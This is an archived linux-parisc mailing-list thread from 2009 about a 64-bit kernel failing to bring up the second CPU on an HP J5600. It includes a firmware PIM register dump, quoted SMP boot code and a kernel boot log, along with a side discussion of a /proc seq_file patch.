--FCuugMFkClbJLl1L
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="parisc64-ser-pim.log"

Service Menu: Enter command > pim hpmc

PROCESSOR PIM INFORMATION

-----------------  Processor 0 HPMC Information ------------------

Timestamp = 
  Fri Dec  4 16:43:56 GMT 2009    (20:09:12:04:16:43:56)

HPMC Chassis Codes = 2cbf0  25008  2cbf4  2cbfc  

General Registers 0 - 31
00-03   0000000000000000  0000000040795e40  00000000401170b4  0000000000000001
04-07   000000004076c640  0000000044349008  00000000406ef6b8  000000012f8a8140
08-11   0000000040675d1c  000000004062ddc0  0000000040675d68  00000000401210dc
12-15   0000000000000000  00000000406bb4b0  0000000000000001  00000000f0400004
16-19   000000004062e100  00000000407dbe80  00000000406bb4a8  0000000f32f63ff3
20-23   00000000000016f9  000000004062ddc0  0000000000000002  0000000000002710
24-27   00000000ffffffff  000000000800000e  0000000040648200  000000004076c640
28-31   0000000000004cd6  000000012f848e20  000000012f848af0  000000000000d7a0

<Press any key to continue (q to quit)> 

Control Registers 0 - 31
00-03   0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07   0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11   0000000000000000  0000000000000000  00000000000000c0  000000000000003e
12-15   0000000000000000  0000000000000000  0000000000103000  c000000000000000
16-19   0000000f32ff3d89  0000000000000000  0000000040117158  00000000020008bc
20-23   0000000000000000  0000000000000000  000000ff0804f90f  0000000000000000
24-27   00000000006d1000  00000000006d1000  0000000000044021  00000000f0412000
28-31   0000000055555555  0000000055555555  000000012f848000  0000000011111111
Space Registers 0 - 7

00-03   00000000          00000000          00000000          00000000
04-07   00000000          00000000          00000000          00000000

<Press any key to continue (q to quit)> 

IIA Space                    = 0x0000000000000000
IIA Offset                   = 0x000000004011715c
Check Type                   = 0x20000000
CPU State                    = 0x9e000004
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x0030000d
Assists Check                = 0x00000000
Assist State                 = 0x00000000
Path Info                    = 0x00000000
System Responder Address     = 0xfffffffffffa0000
System Requestor Address     = 0xfffffffffffa2000

Floating-Point Registers 0 - 31
00-03   0000001f00000000  0000001f00000000  0000001f00000000  0000001f00000000
04-07   0000000000000000  5555555555555555  5555555555555555  5555555555555555
08-11   5555555555555555  5555555555555555  5555555555555555  5555555555555555
12-15   5555555555555555  5555555555555555  5555555555555555  5555555555555555
16-19   5555555555555555  5555555555555555  5555555555555555  5555555555555555
20-23   5555555555555555  5555555555555555  0000000000000000  0000000000000000
24-27   0000000000005000  0000000000000000  5555555555555555  5555555555555555
28-31   5555555555555555  5555555555555555  5555555555555555  5555555555555555

<Press any key to continue (q to quit)> 


'9000/785 B,C,J Workstation Unarchitected (per-CPU)', rev 1, 140 bytes:

Check Summary                = 0xcb81841000000000
Available Memory             = 0x0000000100000000
CPU Diagnose Register 2      = 0x0300000000802004
CPU Status Register 0        = 0x3440c20000000000
CPU Status Register 1        = 0x8000000000000000
SADD LOG                     = 0x4820000000000000
Read Short LOG               = 0xc18040fffee003fd
ERROR_STATUS                 = 0x0000000000000010
MEM_ADDR                     = 0x000001ff3fffffff
MEM_SYND                     = 0x0000000000000000
MEM_ADDR_CORR                = 0x000001ff3fffffff
MEM_SYND_CORR                = 0x0000000000000000
RUN_DATA_HIGH                = 0x0ce0107fd89705f0
RUN_DATA_LOW                 = 0x73d73e81d2f91bf0
RUN_CTRL                     = 0x0000021c00001418
RUN_ADDR                     = 0xc13ff0f0f0039530
System Responder Path        = 0x00ffffffffffffff


HPMC PIM Analysis Information:

Timestamp = 
  Fri Dec  4 16:43:56 GMT 2009    (20:09:12:04:16:43:56)


'9000/785 B,C,J Workstation HPMC PIM Analysis (per-CPU)', rev 0, 1304 bytes:

CPU 0 observed a Broadcast Error on the Runway Bus.


Memory/IO Controller Error Analysis Information:

The Memory/IO Controller only observed the Broadcast Error.  It did not log
any additional information about the HPMC.

<Press any key to continue (q to quit)> 

Memory Error Log Information:

Timestamp = 
  Fri Dec  4 16:43:56 GMT 2009    (20:09:12:04:16:43:56)


'9000/785 B,C,J Workstation Memory Error Log', rev 0, 64 bytes:

   No memory errors logged


I/O Module Error Log Information:

Timestamp = 
  Fri Dec  4 16:43:56 GMT 2009    (20:09:12:04:16:43:56)


'9000/785 B,C,J Workstation IO Error Log', rev 0, 228 bytes:

 Rope     Word1        Word2            Word3
------ ------------ ------------
   0    0x00000000   0x0e0cc009   0x00000000fed30048
   1    0x00000000   0x1e0cc009   0x00000000fed32048
   2    0x00000000   0x2e0cc009   0x00000000fed34048
   3    ----------   0x3e0cc009   ------------------
   4    0x00000000   0x4e0cc009   0x00000000fed38048
   5    ----------   0x5e0cc009   ------------------
   6    0x00000000   0x6e0cc009   0x00000000fed3c048
   7    ----------   0x7e0cc009   ------------------
Service Menu: Enter command >
 

--FCuugMFkClbJLl1L--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: my usual problem with 64bit kernel
Date: Fri, 04 Dec 2009 19:50:10 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <4B1959E2.1030700@gmx.de>
References: <20091204172838.GA4551@raptus.dandreoli.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1259952624 17282 80.91.229.12 (4 Dec 2009 18:50:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 4 Dec 2009 18:50:24 +0000 (UTC)
To: linux-parisc@vger.kernel.org, cavokz@gmail.com
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Dec 04 19:50:17 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NGdEN-0004mv-OW
	for glpp-linux-parisc@lo.gmane.org; Fri, 04 Dec 2009 19:50:16 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755376AbZLDSuH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 4 Dec 2009 13:50:07 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755564AbZLDSuH
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 4 Dec 2009 13:50:07 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:56353 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1755376AbZLDSuG (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 4 Dec 2009 13:50:06 -0500
Original-Received: (qmail invoked by alias); 04 Dec 2009 18:50:11 -0000
Original-Received: from p4FDB02A9.dip0.t-ipconnect.de (EHLO halden.box) [79.219.2.169]
  by mail.gmx.net (mp071) with SMTP; 04 Dec 2009 19:50:11 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/K6QM8XmnKwaqcFZLStaLVhV7DbqBOLnbaYBIepk
	wHUgdCVVl88R/f
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.4pre) Gecko/20091014 Fedora/3.0-2.8.b4.fc11 Lightning/1.0pre Thunderbird/3.0b4
In-Reply-To: <20091204172838.GA4551@raptus.dandreoli.com>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.67
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2399
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2399>

On 12/04/2009 06:28 PM, Domenico Andreoli wrote:
>    today i checked the support of 64bit on my j5600. latest kernel
> that successfully (and still) run it was 2.6.22, latest one i tried
> (and still fails) is a fresh 2.6.32.
>
> i have not any specific knowlwdge of the beast, only a pile of manuals
> that i will use to try to understand what's wrong.
>
> only, if anybody has a hint to point me in the right direction i would
> save a lot of time.  i attached the kernel boot log and the output of
> ser pim firmware command.

Could you try the original 2.6.30 and/or 2.6.31 smp kernels from
debian unstable as well?
I just want to make sure, that you have more or less a correct kernel
configuration setup (.config)....

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexey Dobriyan <adobriyan@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: convert /proc/pdc/{lcd,led} to seq_file
Date: Sat, 5 Dec 2009 03:39:18 +0300
Lines: 43
Approved: news@gmane.org
Message-ID: <20091205003918.GD16465@x200>
References: <20091127065112.GC26327@x200.malnet.ru>
 <20091128061354.GA21113@lackof.org>
 <20091128092509.GA4375@x200.malnet.ru>
 <20091129051752.GA14332@lackof.org>
 <20091201140746.8d0e740e.akpm@linux-foundation.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1259973571 32493 80.91.229.12 (5 Dec 2009 00:39:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 5 Dec 2009 00:39:31 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>, kyle@mcmartin.ca,
	linux-parisc@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Dec 05 01:39:23 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NGigD-0001Bz-JH
	for glpp-linux-parisc@lo.gmane.org; Sat, 05 Dec 2009 01:39:21 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757492AbZLEAjN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 4 Dec 2009 19:39:13 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S932329AbZLEAjN
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 4 Dec 2009 19:39:13 -0500
Original-Received: from mail-ew0-f219.google.com ([209.85.219.219]:40569 "EHLO
	mail-ew0-f219.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757482AbZLEAjN (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 4 Dec 2009 19:39:13 -0500
Original-Received: by ewy19 with SMTP id 19so3529193ewy.1
        for <linux-parisc@vger.kernel.org>; Fri, 04 Dec 2009 16:39:18 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:date:from:to:cc:subject
         :message-id:references:mime-version:content-type:content-disposition
         :in-reply-to:user-agent;
        bh=U/k84WEpv5fzxfS4y9AeWLo9dYcrDgijm+gVoZOkFx8=;
        b=Cx0tGRjWrji0szg/cthirlU/k2cJvkFItFxzi9ILEvHXizVLe+1cnMCs1xwLrab8sV
         NNXsGeScb+0Fh/KDp9mWlXZLhEk0W2y8whflW7WVBDiBsptMSVEJulDgIOPhIzrJny5j
         Je66ZSmBD5c8wFL8Zomc4aWDKh7OQAmbQFxnM=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=date:from:to:cc:subject:message-id:references:mime-version
         :content-type:content-disposition:in-reply-to:user-agent;
        b=FM/pbuk8Ak8PK5IpELkAQX+SOEHazr7NulO7IJKaQ/ZpY33VmPQiaAbxM8ZqO7wW2k
         s2QtTiPDT/hJ5TZjLdfMmgcicP6xRG1HhcWD3FlZHAauqZAakbItkJUYR5JpHTuqE0qh
         xpjlR0TSM5MTtYwys/q3OPjIHOEjuB/jr1hmU=
Original-Received: by 10.213.110.206 with SMTP id o14mr3801415ebp.6.1259973558556;
        Fri, 04 Dec 2009 16:39:18 -0800 (PST)
Original-Received: from x200 ([213.171.34.228])
        by mx.google.com with ESMTPS id 10sm6127704eyz.15.2009.12.04.16.39.16
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Fri, 04 Dec 2009 16:39:17 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <20091201140746.8d0e740e.akpm@linux-foundation.org>
User-Agent: Mutt/1.5.20 (2009-06-14)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2400
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2400>

On Tue, Dec 01, 2009 at 02:07:46PM -0800, Andrew Morton wrote:
> On Sat, 28 Nov 2009 22:17:52 -0700
> Grant Grundler <grundler@parisc-linux.org> wrote:
> 
> > > Yes, it's slightly less racy than create_proc_entry().
> > > create_proc_entry() is going to be removed in fact.
> > 
> > Ok. Please add a sentence about which race you are worried about.
> > This isn't to discuss the race - it's just informative to explain
> > why there is a plan to replace the API. I'm willing to go along with
> > that.
> > 
> > Are you removing create_proc_entry() ? Is this patch part of a grand plan?
> > (All good things to include in a commit comment)
> > 
> > Also updating Documentation/filesystems/seq_file.txt would be very
> > helpful given you understand why proc_create_data() should replace
> > create_proc_entry().
> 
> yeah.  I didn't even know that this was the reason and I've been
> applying the patches like crazy.  Heaven knows what a random developer
> of a remote subsystem is supposed to make of such a patch.  Probably he
> just assumes that someone else knows what's going on.
> 
> Alexey, please, don't do this.
> 
> 
> Please send me some boilerplate text which I can paste into

Here it is:

Convert code away from ->read_proc/->write_proc interfaces.
Switch to proc_create()/proc_create_data() which make addition of
proc entries reliable wrt NULL ->proc_fops, NULL ->data and so on.

Problem with ->read_proc et al is described here
commit 786d7e1612f0b0adb6046f19b906609e4fe8b1ba
"Fix rmmod/read/write races in /proc entries"
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Domenico Andreoli <cavokz@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: my usual problem with 64bit kernel
Date: Sat, 5 Dec 2009 09:35:11 +0100
Lines: 1762
Approved: news@gmane.org
Message-ID: <20091205083511.GA6559@raptus.dandreoli.com>
References: <20091204172838.GA4551@raptus.dandreoli.com>
 <4B1959E2.1030700@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="SLDf9lqlvOQaIe6s"
X-Trace: ger.gmane.org 1260002138 19412 80.91.229.12 (5 Dec 2009 08:35:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 5 Dec 2009 08:35:38 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Dec 05 09:35:30 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NGq6y-0007Oh-60
	for glpp-linux-parisc@lo.gmane.org; Sat, 05 Dec 2009 09:35:29 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753410AbZLEIfU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 5 Dec 2009 03:35:20 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753387AbZLEIfU
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 5 Dec 2009 03:35:20 -0500
Original-Received: from mail-ew0-f219.google.com ([209.85.219.219]:49439 "EHLO
	mail-ew0-f219.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753410AbZLEIfN (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 5 Dec 2009 03:35:13 -0500
Original-Received: by ewy19 with SMTP id 19so3719726ewy.1
        for <linux-parisc@vger.kernel.org>; Sat, 05 Dec 2009 00:35:18 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:received:date:from:to:subject
         :message-id:mail-followup-to:references:mime-version:content-type
         :content-disposition:in-reply-to:user-agent;
        bh=JhlvP4/0GqIMoicheM+O9qhV00GcZBeOfV0MYS9H7cQ=;
        b=NBSOTk5tZHHyv+mwXPans/7zIFsCadTDCHG/T92c5mD2XyGu7C9KQQtTIZ6cVfFIlN
         xOHE2hS+QAe2CsWyeUdRYljBCbB7JH64iMUXVxuGtDH3vhE2YnqM+z3f+rARfxdwdHWd
         lyutA6oGEIWSxZVM4bO2an35Q50a7Xtcep324=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=date:from:to:subject:message-id:mail-followup-to:references
         :mime-version:content-type:content-disposition:in-reply-to
         :user-agent;
        b=xJVVFd0cuKcKsEUxeY7LJ4IthCn2Zi7aoQt/W+MmS/eOskZLiFtHdqVZ7lAA1WoF9f
         BIoeAmp3B36cNuHTjIPaEendQNmfO7OSTgoVGaydEXlFl7M3Qsuyb6Pbc5sM5i1oeV1B
         ZGCjOKXB1w2Tzg5RdI4izTB0LiEkouJ1lnfQ4=
Original-Received: by 10.216.93.69 with SMTP id k47mr1436415wef.179.1260002117873;
        Sat, 05 Dec 2009 00:35:17 -0800 (PST)
Original-Received: from raptus.dandreoli.com (host158-49-dynamic.45-79-r.retail.telecomitalia.it [79.45.49.158])
        by mx.google.com with ESMTPS id u14sm8468391gvf.4.2009.12.05.00.35.13
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Sat, 05 Dec 2009 00:35:15 -0800 (PST)
Original-Received: by raptus.dandreoli.com (Postfix, from userid 1000)
	id CC9F1165F3; Sat,  5 Dec 2009 09:35:11 +0100 (CET)
Mail-Followup-To: linux-parisc@vger.kernel.org
Content-Disposition: inline
In-Reply-To: <4B1959E2.1030700@gmx.de>
User-Agent: Mutt/1.5.20 (2009-06-14)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2401
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2401>


--SLDf9lqlvOQaIe6s
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

On Fri, Dec 04, 2009 at 07:50:10PM +0100, Helge Deller wrote:
> On 12/04/2009 06:28 PM, Domenico Andreoli wrote:
> >   today i checked the support of 64bit on my j5600. latest kernel
> >that successfully (and still) run it was 2.6.22, latest one i tried
> >(and still fails) is a fresh 2.6.32.
> >
> >i have not any specific knowlwdge of the beast, only a pile of manuals
> >that i will use to try to understand what's wrong.
> >
> >only, if anybody has a hint to point me in the right direction i would
> >save a lot of time.  i attached the kernel boot log and the output of
> >ser pim firmware command.
> 
> Could you try the original 2.6.30 and/or 2.6.31 smp kernels from
> debian unstable as well?

just tried linux-image-2.6.31-1-parisc64-smp 2.6.31-2 and, as many
other debian ones i tried in the meanwhile, it failed in a different
way. indeed the machine boots with a single online CPU, which is the
behaviour i recall. boot log attached.

> I just want to make sure, that you have more or less a correct kernel
> configuration setup (.config)....

there is at least a configuration glitch which makes my kernel hang
and the debian one continue in degraded mode. i attached also the
configuration, just in case i forgot something important.

here is the code (from arch/parisc/kernel/smp.c) relevant to the traces
i'm getting. the firse trace "Releasing cpu..." is always there in the
log, last one "SMP: CPU:1 is stuck" is got only with the debian kernel
while with my kernel the machine halts in between and i have to pull
the plug.


	printk(KERN_INFO "Releasing cpu %d now, hpa=%lx\n", cpuid, p->hpa);

	/*
	** This gets PDC to release the CPU from a very tight loop.
	**
	** From the PA-RISC 2.0 Firmware Architecture Reference Specification:
	** "The MEM_RENDEZ vector specifies the location of OS_RENDEZ which 
	** is executed after receiving the rendezvous signal (an interrupt to 
	** EIR{0}). MEM_RENDEZ is valid only when it is nonzero and the 
	** contents of memory are valid."
	*/
	gsc_writel(TIMER_IRQ - CPU_IRQ_BASE, p->hpa);
	mb();

	/* 
	 * OK, wait a bit for that CPU to finish staggering about. 
	 * Slave will set a bit when it reaches smp_cpu_init().
	 * Once the "monarch CPU" sees the bit change, it can move on.
	 */
	for (timeout = 0; timeout < 10000; timeout++) {
		if(cpu_online(cpuid)) {
			/* Which implies Slave has started up */
			cpu_now_booting = 0;
			smp_init_current_idle_task = NULL;
			goto alive ;
		}
		udelay(100);
		barrier();
	}

	put_task_struct(idle);
	idle = NULL;

	printk(KERN_CRIT "SMP: CPU:%d is stuck.\n", cpuid);


best regards,
Domenico

-----[ Domenico Andreoli, aka cavok
 --[ http://www.dandreoli.com/gpgkey.asc
   ---[ 3A0F 2F80 F79C 678A 8936  4FEE 0677 9033 A20E BC50

--SLDf9lqlvOQaIe6s
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="parisc64-kernel-2.6.31.log"

Command line for kernel: 'root=/dev/sda3 panic=60 HOME=/ console=ttyS0 TERM=vt102 palo_kernel=2/vmlinux'
Selected kernel: /vmlinux from partition 2
Selected ramdisk: /initrd.img from partition 2
ELF64 executable
Entry 00100000 first 00100000 n 3
Segment 0 load 00100000 size 4878336 mediaptr 0x1000
Segment 1 load 00634000 size 470240 mediaptr 0x4a8000
Segment 2 load 006a8000 size 296896 mediaptr 0x51b000
Loading ramdisk 9111902 bytes @ 3f73d000...
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

[    0.000000] Initializing cgroup subsys cpuset
[    0.000000] Initializing cgroup subsys cpu
[    0.000000] Linux version 2.6.31-1-parisc64-smp (Debian 2.6.31-2) (ben@decadent.org.uk) (gcc version 4.3.4 (GCC) ) #1 SMP Mon Nov 16 14:09:50 UTC 2009
[    0.000000] unwind_init: start = 0x404d0164, end = 0x404fd404, entries = 11562
[    0.000000] WARNING: Out of order unwind entry! 00000000404d20e4 and 00000000404d20f4
[    0.000000] WARNING: Out of order unwind entry! 00000000404d20f4 and 00000000404d2104
[    0.000000] FP[0] enabled: Rev 1 Model 16
[    0.000000] The 64-bit Kernel has started...
[    0.000000] console [ttyB0] enabled
[    0.000000] Initialized PDC Console for debugging.
[    0.000000] Determining PDC firmware type: System Map.
[    0.000000] model 00005d10 00000491 00000000 00000002 77b406fc 100000f0 00000008 000000b2 000000b2
[    0.000000] vers  00000300
[    0.000000] CPUID vers 17 rev 10 (0x0000022a)
[    0.000000] capabilities 0x3
[    0.000000] model 9000/785/J5600
[    0.000000] Memory Ranges:
[    0.000000]  0) Start 0x0000000000000000 End 0x00000000efffffff Size   3840 MB
[    0.000000]  1) Start 0x00000010f0000000 End 0x00000010ffffffff Size    256 MB
[    0.000000] Total Memory: 4096 MB
[    0.000000] initrd: 7f73d000-7ffed95e
[    0.000000] initrd: reserving 3f73d000-3ffed95e (mem_max 100000000)
[    0.000000] LCD display at fffffff0f05d0008,fffffff0f05d0000 registered
[    0.000000] SMP: bootstrap CPU ID is 0
[    0.000000] Built 2 zonelists in Zone order, mobility grouping on.  Total pages: 1034240
[    0.000000] Kernel command line: root=/dev/sda3 panic=60 HOME=/ console=ttyS0 TERM=vt102 palo_kernel=2/vmlinux
[    0.000000] PID hash table entries: 4096 (order: 12, 32768 bytes)
[    0.000000] Dentry cache hash table entries: 524288 (order: 10, 4194304 bytes)
[    0.000000] Inode-cache hash table entries: 262144 (order: 9, 2097152 bytes)
[    0.000000] Memory: 4106288k/4194304k available (3220k kernel code, 87044k reserved, 1495k data, 292k init)
[    0.000000] virtual kernel memory layout:
[    0.000000]     vmalloc : 0x0000000000008000 - 0x000000003f000000   (1007 MB)
[    0.000000]     memory  : 0x0000000040000000 - 0x0000001140000000   (69632 MB)
[    0.000000]       .init : 0x00000000406a8000 - 0x00000000406f1000   ( 292 kB)
[    0.000000]       .data : 0x0000000040425198 - 0x000000004059b000   (1495 kB)
[    0.000000]       .text : 0x0000000040100000 - 0x0000000040425198   (3220 kB)
[    0.000000] NR_IRQS:128
[    0.000000] Console: colour dummy device 160x64
[    0.060000] Calibrating delay loop... 1101.82 BogoMIPS (lpj=2203648)
[    0.244000] Security Framework initialized
[    0.296000] SELinux:  Disabled at boot.
[    0.348000] Mount-cache hash table entries: 256
[    0.408000] Initializing cgroup subsys ns
[    0.460000] Initializing cgroup subsys cpuacct
[    0.520000] Initializing cgroup subsys devices
[    0.576000] Initializing cgroup subsys freezer
[    0.636000] Initializing cgroup subsys net_cls
[    0.696000] Brought up 1 CPUs
[    0.736000] regulator: core version 0.5
[    0.788000] NET: Registered protocol family 16
[    0.844000] EISA bus registered
[    0.888000] Searching for devices...
[    1.192000] Found devices:
[    1.228000] 1. Astro BC Runway Port at 0xfffffffffed00000 [10] { 12, 0x0, 0x582, 0x0000b }
[    1.336000] 2. Elroy PCI Bridge at 0xfffffffffed30000 [10/0] { 13, 0x0, 0x782, 0x0000a }
[    1.444000] 3. Elroy PCI Bridge at 0xfffffffffed32000 [10/1] { 13, 0x0, 0x782, 0x0000a }
[    1.548000] 4. Elroy PCI Bridge at 0xfffffffffed34000 [10/2] { 13, 0x0, 0x782, 0x0000a }
[    1.656000] 5. Elroy PCI Bridge at 0xfffffffffed38000 [10/4] { 13, 0x0, 0x782, 0x0000a }
[    1.764000] 6. Elroy PCI Bridge at 0xfffffffffed3c000 [10/6] { 13, 0x0, 0x782, 0x0000a }
[    1.868000] 7. Forte W+ 2w at 0xfffffffffffa0000 [32] { 0, 0x0, 0x5d1, 0x00004 }
[    1.964000] 8. Forte W+ 2w at 0xfffffffffffa2000 [34] { 0, 0x0, 0x5d1, 0x00004 }
[    2.064000] 9. Memory at 0xfffffffffed10200 [49] { 1, 0x0, 0x09e, 0x00009 }
[    2.156000] Enabling regular chassis codes support v0.05
[    2.348000] Releasing cpu 1 now, hpa=fffffffffffa2000
[    3.416000] SMP: CPU:1 is stuck.
[    3.456000] CPU(s): 2 x PA8600 (PCX-W+) at 552.000000 MHz
[    3.528000] Setting cache flush threshold to 100000 (1 CPUs online)
[    3.728000] SBA found Astro 2.1 at 0xfffffffffed00000
[    3.796000] Elroy version TR2.1 (0x2) found at 0xfffffffffed30000
[    3.880000] PCI: Enabled native mode for NS87415 (pif=0x8f)
[    3.956000] Elroy version TR2.1 (0x2) found at 0xfffffffffed32000
[    4.040000] pci 0000:01:08.0: PME# supported from D0 D1 D2 D3hot
[    4.120000] pci 0000:01:08.0: PME# disabled
[    4.172000] pci 0000:01:05.0: BAR 1: no parent found for of device [0xfffffffff9000000-0xfffffffff9003fff]
[    4.300000] pci 0000:01:05.0: BAR 6: no parent found for of device [0xfffffffff9020000-0xfffffffff902ffff]
[    4.428000] pci 0000:01:08.0: BAR 1: no parent found for of device [0xfffffffff9004000-0xfffffffff900407f]
[    4.556000] pci 0000:01:08.0: BAR 6: no parent found for of device [0xfffffffff9020000-0xfffffffff903ffff]
[    4.684000] Elroy version TR2.1 (0x2) found at 0xfffffffffed34000
[    4.764000] pci 0000:02:02.0: PME# supported from D1 D2 D3hot D3cold
[    4.848000] pci 0000:02:02.0: PME# disabled
[    4.904000] pci 0000:02:03.0: PME# supported from D0 D1 D2 D3hot
[    4.980000] pci 0000:02:03.0: PME# disabled
[    5.044000] pci 0000:02:02.0: BAR 13: address space collision on of bridge [0x00-0xfff]
[    5.148000] pci 0000:02:02.0: BAR 14: no parent found for of bridge [0xf5100000-0xf51fffff]
[    5.260000] pci 0000:02:02.0: BAR 15: no parent found for of bridge [0xf0100000-0xf01fffff]
[    5.368000] pci 0000:02:02.0: BAR 16: no parent found for of bridge [0x0-0x0]
[    5.464000] pci 0000:03:08.0: BAR 0: no parent found for of device [0xfffffffff5107000-0xfffffffff5107fff]
[    5.588000] pci 0000:03:08.1: BAR 0: no parent found for of device [0xfffffffff5106000-0xfffffffff5106fff]
[    5.716000] pci 0000:03:09.0: BAR 0: no parent found for of device [0xfffffffff5105000-0xfffffffff5105fff]
[    5.844000] pci 0000:03:09.1: BAR 0: no parent found for of device [0xfffffffff5104000-0xfffffffff5104fff]
[    5.972000] pci 0000:03:0a.0: BAR 0: no parent found for of device [0xfffffffff5103000-0xfffffffff5103fff]
[    6.100000] pci 0000:03:0a.1: BAR 0: no parent found for of device [0xfffffffff5102000-0xfffffffff5102fff]
[    6.224000] pci 0000:03:0b.0: BAR 0: no parent found for of device [0xfffffffff5101000-0xfffffffff5101fff]
[    6.352000] pci 0000:03:0b.1: BAR 0: no parent found for of device [0xfffffffff5100000-0xfffffffff5100fff]
[    6.484000] pci 0000:02:03.0: BAR 13: address space collision on of bridge [0x00-0xfff]
